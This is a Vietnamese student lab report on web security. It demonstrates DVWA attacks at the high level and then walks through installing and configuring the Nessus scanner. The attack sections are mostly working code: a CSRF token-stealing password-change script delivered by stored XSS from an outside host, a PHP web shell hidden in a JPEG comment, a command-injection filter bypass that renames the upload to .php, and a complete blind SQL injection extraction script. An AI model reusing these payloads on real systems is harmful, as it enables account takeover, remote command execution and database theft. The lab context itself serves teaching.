Tải bản đầy đủ (.docx) (35 trang)

Báo cáo công cụ scan lỗ hỏng website

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (2.48 MB, 35 trang )

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
Cơ sở tại TP. Hồ Chí Minh

WEB VULERABILITY SCAN
GVHD Ths. Huỳnh Thanh Tâm


An toàn ứng dụng web và cơ sở dữ liệu

A.

DEMO BÀI TẬP Ở LAB DVWA.
I.

CSRF+XSS STORED:
1. GIỚI THIỆU CSRF:
CSRF là gì?
CSRF viết tắt của Cross Site Request Forgery. CSRF cũng là một lỗ hổng
thường gặp, là một lỗ hổng thường được tận dụng vì mọi người hiểu biết
khá ít về nó.
Điều làm cho lỗ hổng này có thể là tự động hoá hành động, hành động
này được thực hiện bởi các quản trị viên ứng dụng. Đối với loại lỗ hổng
này, nạn nhân là người dùng được chứng thực của ứng dụng và CSRF cho
phép họ tự động hóa một số hành động mà họ có thể làm.
Ví dụ, một quản trị viên, trong bảng điều hành, người có thể xóa một bài
viết, chỉ bằng cách bấm vào một liên kết, hoặc password ở 1 forum của bạn
đang đăng nhập bị thay đổi.(Attacker đã giả mạo hành động của bạn để thay
đổi password của bạn trong lúc bạn vẫn lướt website nào đó.)
2. GIỚI THIỆU XSS STORED:
XSS là gì?
XSS viết tắt của Cross Site Scripting. XSS có thể là một lỗ hổng phổ biến


nhất. Lỗ hổng này ảnh hưởng về phía client(người dùng), chính xác hơn là
2


An toàn ứng dụng web và cơ sở dữ liệu

những người dùng của những ứng dụng web bị lỗi. Nó không quá nguy hiểm
đối với ứng dụng web nhưng nó có thể dẫn đến nhiều vấn đề.
Ví dụ nó có thể sử dụng để lừa đảo, đánh cắp thông tin đăng nhập của
victim(nạn nhân) sau đó dùng thông tin đăng nhập đó một cách bất hợp pháp
hoặc XSS có thể làm thay đổi giao diện của ứng dụng web một cách bất hợp
pháp,…
XSS chia làm 3 loại:
+ XSS Reflected.
+ XSS Stored.
+ XSS DOM.
Vậy XSS Stored là gì?
Khác với XSS Reflected, XSS Stored hướng đến người người dùng hơn.
Lỗi này xảy ra khi các ứng dụng web không kiểm tra kĩ các dữ liệu đầu vào
trước khi lưu vào cơ sở dữ liệu. Thay vì nhập vào các dữ liệu thông thường,
attacker có thể nhập vào đó 1 đoạn code nguy hiểm (ví dụ php, javascript,
…)
Hướng khai thác:
+ Bước 1: Attacker phải thực hiện chèn đoạn mã nguy hiểm vào các
template đầu vào không được kiểm tra chặt chẻ (ví dụ: thẻ input tiêu đề của
một bài viết trên một diễn đàn, những form, input, textarea,… trước khi nó
lưu vào cơ sở dữ liệu).
+ Bước 2: Những người dùng khác trên ứng dụng web đó tương tác
với dữ liệu ở đã được lưu trữ của attacker (ví dụ: người dùng khác click vào
tiêu đề của 1 bài viết của attacker trên forum) thì đoạn mã sẽ được thực hiện

dẫn đến mục đích của attacker đã thành công.
3. DEMO LAB DVWA:
Ứng dụng XSS Stored để thực hiện CSRF ở DVWA mức high.
*Thu thập thông tin ở site CSRF:
- Frond-end gồm có:
+ 2 template input dùng để nhập password_new và
password_conf.
+ 1 button.
- Check html:
+ Có 1 thẻ input bị hidden có name là user_token.
Mục đích của user_token là kiểm tra xem hành động tiếp theo
có phải là của client (người dùng đang dùng trên site đó không).
User_token gồm có 2 phần giống nhau, 1 phần lưu trên 1 thẻ bị hidden
của trình duyệt còn 1 phần sẽ lưu ở server để check hành động tiếp
3


An toàn ứng dụng web và cơ sở dữ liệu

-

theo có phải của người dùng đang trực tiếp trên site mình đang dùng
hay không, mỗi lần load lại trang thì user_token sẽ thay đổi theo ngẫu
nhiên, ở đây gồm có 32 kí tự sinh ngẫu nhiên, dẫn đến mỗi hành động
request sẽ check 1 lần.
Dùng add-on Live HTTP header của ứng dụng Mozilla Firefox để bắt
gói request một hành động thay đổi password để kiểm tra trình duyệt
đã request lên server những gì:
+ Sau khi nhấn vào button Change thì browser đã request lên
server 4 param theo phương thức GET, đó là password_new,

password_conf, Change, user_token

*Hướng tấn công CSRF:
- Viết đoạn code, thực hiện load site CSRF:
/DVWA/vulnerabilities/csrf/index.php sau đó lấy 1 value của thẻ input
hidden user_token lưu vào một biến.
- Sau khi có user_token chúng ta Request lên server theo
phương thức GET 4 param là password_new, password_conf, Change,
user_token.
- Thực hiện XSS Stored để lưu trữ một hình ảnh hoặc đường
link để người dùng click vào đoạn code sẽ được thực hiện.
*Thực hiện:
- Code:

4


An toàn ứng dụng web và cơ sở dữ liệu
function myfunc(){
function mainfunc()
{
var xmlhttp;
var content;
var key;
if (window.XMLHttpRequest)
{
xmlhttp = new XMLHttpRequest();
}
else
{

xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function()
{
if (xmlhttp.readyState==4 && xmlhttp.status ==200)
{
content = xmlhttp.responseText;
//alert(content);
regex = /value=\'([a-z0-9]{32})\'/i;
group = content.match(regex);
key = group[1]
}
}
xmlhttp.open("GET","http://34.215.48.0/DVWA/vulnerabilities/csrf/",false);
xmlhttp.send();
//alert(key);
return key;

}
function changepwd(key,password)
{
var xmlhttp;
var content;
if (window.XMLHttpRequest)
xmlhttp = new XMLHttpRequest();
else
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.onreadystatechange = function()
{
if (xmlhttp.readyState==4&& xmlhttp.status==200)

{
content= xmlhttp.responseText;
//alert(content);
}
}
xmlhttp.open("GET","http://34.215.48.0/DVWA/vulnerabilities/csrf/?
user_token="+key+"&password_new="+password+"&password_conf="+password+"&Change=Change",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencode");
xmlhttp.send();
return key;
}
var key = mainfunc();
changepwd(key,'letrongmanh');
}

- Ứng dụng XSS Stored mức low để lưu vào một đường link
dẫn đến đoạn code script, khi có người dùng khác click vào link thì
password của người đó bị thay đổi.
+ Tiêu đề <a href='#' onclick="myfunc()">DANH SACH
TANG LUONG</a>
+ Message:
<script src="http://34.215.48.0/xss2.js">
</script>
- Sau đó đợi victim click vào link đã lưu. Password của victim
sẽ bị thay đổi thành password của mình.
5


An toàn ứng dụng web và cơ sở dữ liệu


II.
-

-

-

-

DEMO FILE UPLOAD + COMMAND INJECTION
1. GIỚI THIỆU FILE UPLOAD VULNERABILITY:
Các tệp được tải lên biểu thị một nguy cơ đáng kể cho các ứng dụng. Bước
đầu tiên trong nhiều cuộc tấn công là chèn một số mã độc vào hệ thống để
tấn công. Sau đó, cuộc tấn công chỉ cần tìm cách để có được mã thực hiện.
Sử dụng tệp tải lên (file upload) giúp kẻ tấn công hoàn thành bước đầu tiên.
Hậu quả của việc tải lên tệp không hạn chế (không kiểm tra) có thể khác
nhau, bao gồm việc chiếm toàn bộ hệ thống, hệ thống tệp tin hoặc cơ sở dữ
liệu bị quá tải, tấn công chuyển tiếp tới các phá hoại hệ thông, các cuộc tấn
công từ phía khách hàng hoặc lừa đảo đơn giản. Nó phụ thuộc vào những gì
ứng dụng làm với các tập tin tải lên và đặc biệt là nơi nó được lưu trữ.
Ví dụ: Sử dụng hình ảnh để làm hình ảnh đại diện. Việc ứng dụng không
kiểm tra đó là file ảnh, không hạn chế hay kiểm tra lỏng lẽo thì người tấn
công(attacker) có thể tải lên các file chứa mã độc như php, sau đó khai thác
ở server, leo thang đặc quyền, phá hoại hệ thống,…
2. COMMAND INJECTION:
Command injection là những tấn công mà trong đó mục tiêu là thực hiện các
lệnh tùy ý trên hệ điều hành máy chủ (server) thông qua một ứng dụng dễ bị
tổn thương. Các cuộc tấn công command injection có thể xảy ra khi một ứng
dụng chuyển dữ liệu không an toàn do người dùng cung cấp (biểu mẫu,
cookie, tiêu đề HTTP vv) sang system shell. Trong cuộc tấn công này, các

lệnh hệ điều hành cung cấp bởi kẻ tấn công thường được thực hiện với các
đặc quyền của ứng dụng dễ bị tổn thương. Các cuộc tấn công command
injection có thể là do việc kiểm tra đầu vào không đầy đủ.
3. DEMO TRÊN LAB DVWA MỨC HIGH:
- Thông thập thông tin, phân tích lab:
File upload:

Chức năng cho phép upload 1 tệp lên. Chúng ta sẽ phải thử upload lên
một số file để được xem loại file nào được cho phép. Trước tiên, chúng ta
sẽ thử đối với file txt.

6


An toàn ứng dụng web và cơ sở dữ liệu

Kết quả nhận được đó là chỉ được upload những file ảnh, Sau đó
upload thử những file .php.jpeg, hoặc mine của file vẫn không được chấp
nhận từ phía server.
Upload file jpeg bình thường.

Kết quả là được chấp nhận và, file được lưu ở thư mục
../../hackable/uploads/ với tên đúng với tên file ảnh upload lên.
Phân tích source code:

$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
 Nơi lưu trữ file.
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)
 Cắt chuỗi tên file và lấy phần extension.


7


An toàn ứng dụng web và cơ sở dữ liệu
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $up
loaded_ext ) == "png" )&&( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) )

 Kiểm tra dữ liệu nhập vào. Chỉ cho phép như file có phần đuôi là jpg hoặc jpeg hoặc png. Kích
thước nhỏ hơn 100000 byte. Xác định kích thước của bất kì tập tin hình ảnh nào được hỗ
trợ(getimagesize)

*Hướng tấn công:
- Dùng tool jhead để thay chèn code php vào phần comment của 1 bức
ảnh jpeg. Server sẽ không kiểm tra được phần comment bức ảnh có code
php hay không.
- Dùng Command Injection đến thư mục chứa file đã upload để đổi
tên file đó thành đuôi .php
*Thực hiện tấn công:
- Dùng jhead -ce image.JPG để chèn code php vào file image.
Tham khảo thêm: />
Code php:

-

if(isset($_REQUEST['cmd']))
system($_REQUEST['cmd']);
?>


Upload file ảnh vừa

được chèn lên server.

-

Dùng Command Injection thay đổi tên file vừa upload.
*Phân tích source code Command Injection mức high:

8


An toàn ứng dụng web và cơ sở dữ liệu

Ở đây, các kí tự để nối các câu lệnh trong linux bị lọc đi. Ví dụ
&&, ‘;’,… nhưng để ý thật kĩ thì chúng ta thấy '| ' bị lọc đi chứ. Đằng sau |
có khoảng trắng nên t có thể inject bằng | không có khoảng trắng.

Thực hiên đổi tên: 8.8.8.8|mv
../../hackable/uploads/images.jpg ../../hackable/uploads/images.php
- Truy cập đến /DVWA/hackable/uploads/images.php?cmd=ls:

Chúng ta đã upload shell thành công. Chúng ta có thể thực hiện các
cậu lệnh linux thông qua file vừa upload lên.
III.

DEMO SQLI BLIND:
9



An toàn ứng dụng web và cơ sở dữ liệu

GIỚI THIỆU SQLI BLIND:
SQLi Blind là một phương thức tấn công SQL injection bằng đoán các kí
tự của dữ liệu attacker cần bằng cách truy vấn các câu truy vấn đúng hoặc
sai. Đúng trả về một kết quả, sai trả về một quả sai.
Tham khảo thêm: />
SQL-Injection.html
2.

DEMO SQLI BLIND MỨC HIGH LAB DVWA:
*Thu thập thông tin:
- Khi access site ta nhận được 1 link liên kết:

-

Ở đây, site có chức năng, nên ta thực hiện test các chức năng. Đối với lab
SQLi Blind này, ta nên dùng các tools để bắt các gói request lên server.

-

Submit với id=1, thì thấy ở site chính báo User ID exists in the
database, và cookie của gói request có thêm 1 giá trị là id=1.
Test với những điều kiện kiểm tra có dính lỗi SQLi hay không thì
ta nhận được:
10


An toàn ứng dụng web và cơ sở dữ liệu


1' and 1=1# chúng ta nhận được kết quả User ID exists in the
database.



1' and 1=0# chúng ta nhận được kết quả là: User ID is MISSING
from the database.
Đây là SQLi Blind. Blind ở đây sẽ nằm ở phía Cookie.

*Hướng tấn công:
Viết code để Blind(Đoán) lần lượt các kí tự trong dữ liệu.
*Thực hiện DEMO mức high:
- Code:
import httplib,urllib2,urllib
url = "http://34.215.48.0/DVWA/vulnerabilities/sqli_blind/index.php"

11


An toàn ứng dụng web và cơ sở dữ liệu
cookie="security=high; SL_lng_to=vi; SL_lng_from=auto; SLloc=false;
PHPSESSID=hamkpb8kf5vk66acbohlbt43b6;"
Referer= "http://34.215.48.0/DVWA/security.php"
MSG_OK= "User ID exists in the database."
MSG_ERROR="User ID is MISSING from the database."
def go(payload):
try:
req= urllib2.Request(url)
COOKIE=cookie+"id=1' and %s#"%payload
req.add_header("Cookie",COOKIE)

req.add_header("Referer",Referer)
resp = urllib2.urlopen(req)
content = resp.read()
if MSG_OK in content:
return True
elif MSG_ERROR in content:
return False
except urllib2.URLError as e:
a=e
return
def length(payload1):
length=0
i=0;
while True:
#print str(i)
payload = "length(%s)=%d"%(payload1,i)
if(go(payload)==True):
length = i
break
i+=1
return length
"""
lengthVersion = length("@@version")
print "Chieu dai cua Version:%d"%lengthVersion
"""
lengthVersion =0
nameVersion=''
def name(payload1, length1):
name1 =''
for k in range(1,length1+1):

for m in range(32,126):
#print m

12


An toàn ứng dụng web và cơ sở dữ liệu
payload = "ascii(substring(%s,%d,1))=%d"%(payload1,k,m)
if(go(payload)==True):
name1 += chr(m)
print name1
break
return name1
""""
nameVersion= name("@@version",lengthVersion)
print "Ten Version: %s"%nameVersion
"""
"""
lengthDatabase = length("database()")
print "Chieu dai cua Database:%d"%lengthDatabase

nameDatabase= name("database()",lengthDatabase)
print "Ten Database: %s"%nameDatabase
"""
lengthDatabase=0
nameDatabase=''
def countTable(nameDatabase):
if (nameDatabase==''):
print "Xin Hay tim ten Database truoc."
else:

count=0
i=0
while True:
print str(i)
for k in range(32,126):
payload = "ascii(substring((select table_name from information_schema.tables
where table_schema='"+str(nameDatabase)+ "' limit %d,1),1,1))=%d"%(i,k)
#print payload
if(go(payload)==True):
count = i
break
if(k==125):
return count
i+=1
return
n=0
while n != 4:
print "=================================================="
print "=
SQL INJECTION BLIND
="
print "=================================================="
print "Menu"

13


An toàn ứng dụng web và cơ sở dữ liệu
print "1.Blind Version."
print "2.Blind Name Database."

print "3.Blind Table."
print "4.Thoat."
n=int(raw_input("Please choose 1->4:"))
if n==1:
lengthVersion = length("@@version")
print "Chieu dai cua Version:%d"%lengthVersion
#name
nameVersion= name("@@version",lengthVersion)
print "Ten Version: %s"%nameVersion
elif n==2:
lengthDatabase = length("database()")
print "Chieu dai cua Database:%d"%lengthDatabase
#name
nameDatabase= name("database()",lengthDatabase)
print "Ten Database: %s"%nameDatabase
elif n==3:
countTable= countTable(nameDatabase)
datalength=[]
for i in range(0,countTable+1):
lengthTable=length("(select table_name from information_schema.tables where
table_schema='"+str(nameDatabase)+ "' limit %d,1)"%i)
print "Chieu dai bang thu %d la: %d"%(i,lengthTable)
datalength.append(lengthTable)
print datalength
dataName=[]
for i in range(0,countTable+1):
nameTable= name(("(select table_name from information_schema.tables where
table_schema='"+str(nameDatabase)+ "' limit %d,1)" %i),datalength[i])
dataName.append(nameTable)
print "Ten Table thu %d la: %s"%(i,nameTable)

print dataName
elif n==4:
exit()

Kết quả sau khi thực hiện:

14


An toàn ứng dụng web và cơ sở dữ liệu

15


An toàn ứng dụng web và cơ sở dữ liệu

B.

CÁC CÔNG CỤ KHAI THÁC LỖ HỔNG
NEUSSUS WEB VULNERABILITY SCAN

I.

CÀI ĐẶT NESSUS TRÊN UBUNTU
-

-

Link cài đặt : />Nessus là Web App, cần tải về và chạy trên Web Browser
Mình có bản ubuntu 16.04 amd64 , nên download bản này:


Gõ lệnh: sudo dpkg -i Nessus*.deb để cài đặt

16


An toàn ứng dụng web và cơ sở dữ liệu

Sau khi thực hiện lệnh cài đặt, ta có 2 hướng dẫn tiếp theo
o Start nessus:sudo /etc/init.d/nessusd start
o https://ubuntu:8834
o Tiếp tục cấu hình nessus trên trình duyệt, chọn “Advanced”

17


An toàn ứng dụng web và cơ sở dữ liệu

18


An toàn ứng dụng web và cơ sở dữ liệu

Sau đó, Nessus yêu cầu ta phải đăng kí để lấy được mã kích hoạt

19


An toàn ứng dụng web và cơ sở dữ liệu


Ta dùng bản Home

Sau khi đăng kí để lấy mã kích hoạt, check mail, và điền mã vào “Activation
Code”
1 mail có thể đăng kí được nhiều lần để lấy mã kích hoạt, nhưng mỗi lần
đăng kí phải cách nhau 1 tiếng.

20


An toàn ứng dụng web và cơ sở dữ liệu

sau khi download hoàn tất ta thực hiện install Nessus
Có 5 level lỗ hổng
o Info
o Low
o Medium
o High
o Critical

21


An toàn ứng dụng web và cơ sở dữ liệu

CÀI ĐẶT NESSUS TRÊN WINDOWS 7
link
download:
operating-system


/>
Sau khi tải về hoàn tất, chạy file Nessus-6.11.1-Win32.msi
Installing Nessus
Nessus cần có Framwork WinPCAP và nó sẽ yêu cầu cài đặt nếu máy tính chưa
sẵn có
Những bước tiếp theo tương tự như cái đặt trên Ubuntu.
Sau khi cài đặt xong, đăng nhập và bắt đầu scan web với Nessus

22


An toàn ứng dụng web và cơ sở dữ liệu

Tại mục setting ta điền vào mục Name chọn Folder và điền Target là trang
web muốn scan, VD như hình ta scan website “lanashop.vn”

Tại mục Credentials, đối với Scan Web Application, chúng ta có thể chọn
các cách thức chứng thực cho giao thức HTTP

Chúng ta có thể chọn chứng thực bằng nhiều phương thức:
o
o
o
o

HTTP login form
Automatic authentication
Basic/Digest authentication
HTTP cookies import


23


An toàn ứng dụng web và cơ sở dữ liệu

trước đó đăng kí hoặc đăng nhập vào web “lanashop.vn” lấy ra file
cookies.txt
***Cách lấy được file “cookies.txt”: add tiện ích cookies.txt ở Chrome

Mỗi khi đăng nhập hoặc đăng kí ở 1 trang web nào, sẽ có 1 file cookies ở
trang web đó, nhấp vào icon cookies ở phía trên bên phải trình duyệt

Add file “cookies.txt” vào Cookies file (nếu chọn HTTP cookies import) và
chọn Save

24


An toàn ứng dụng web và cơ sở dữ liệu

Nessus có thể scan 1 hoặc nhiều network (Scanner -> Basic Network Scan)

25


×